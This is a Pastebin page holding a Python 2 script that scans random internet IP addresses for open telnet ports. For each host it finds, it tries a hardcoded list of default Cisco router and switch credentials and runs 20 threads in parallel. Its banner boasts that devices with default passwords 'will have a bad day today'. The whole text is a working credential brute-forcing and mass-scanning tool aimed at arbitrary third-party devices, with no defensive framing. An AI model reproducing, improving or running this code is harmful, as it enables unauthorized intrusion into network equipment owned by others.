Advertisement
Guest User

Untitled

a guest
Mar 14th, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.26 KB | None | 0 0
  1. import telnetlib
  2. import sys
  3. import socket
  4. import random
  5. import thread
  6. import time
  7.  
  8. print "|","-"*61, "|"
  9. print "|\tAll of cisco routers , switches with default\t\t|\n|\tusername and passwords are will have a bad day today\t|"
  10. print "|","-"*61, "|"
  11. def bruteForce(ip):
  12. dict={"Administrator":"admin","|Administrator":"changeme","cisco":"cisco","admin":"admin","|admin":"diamond","||admin":"cisco","root":"Cisco","|root":"password","||root":"blender","|||root":"attack","bbsd-client":"changeme2","cmaker":"cmaker","cusadmin":"password","hsa":"hsadb","netrangr":"attack","wlse":"wlsedb","wlseuser":"wlseuser"}
  13. for key,value in dict.iteritems():
  14. key = key.replace("|" , "")
  15. try:
  16. #print " Trying User:",key," Password:",value ," on " , ip
  17. tn = telnetlib.Telnet(ip,23,2)
  18. tn.read_until((":" or ">" or "$" or "@"))
  19. tn.write(key + "\n")
  20. tn.read_until((":" or ">" or "$" or "@"))
  21. tn.write(value + "\n")
  22. tn.write("dir\n")
  23. tn.write("exit\n")
  24. tn.read_all()#we can print this to get the banner
  25. print "\t\nLogin successful:", key , " -> " , value
  26. tn.close()
  27. sys.exit(1)
  28. except Exception ,e:
  29. #print ip , " --> " , e
  30. pass
  31. finally:
  32. try:
  33. tn.close()
  34. except Exception , e:
  35. pass
  36.  
  37. #randy()
  38.  
  39. def randy():
  40. a=random.randint(1,254)
  41. b=random.randint(1,254)
  42. c=random.randint(1,254)
  43. d=random.randint(1,4)
  44. ip=str(a) + "." +str(b) + "." +str(c) + "." +str(d)
  45. try:
  46. telnetlib.Telnet(ip , 23 , 2)
  47. print "Telneting on host : " , ip
  48. bruteForce(ip)
  49. except Exception ,e:
  50. #print ip," => does not have telnet enabled" , e
  51. randy()
  52.  
  53. for threads in range(0,20):
  54. thread.start_new_thread(randy,())
  55. time.sleep(0.5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement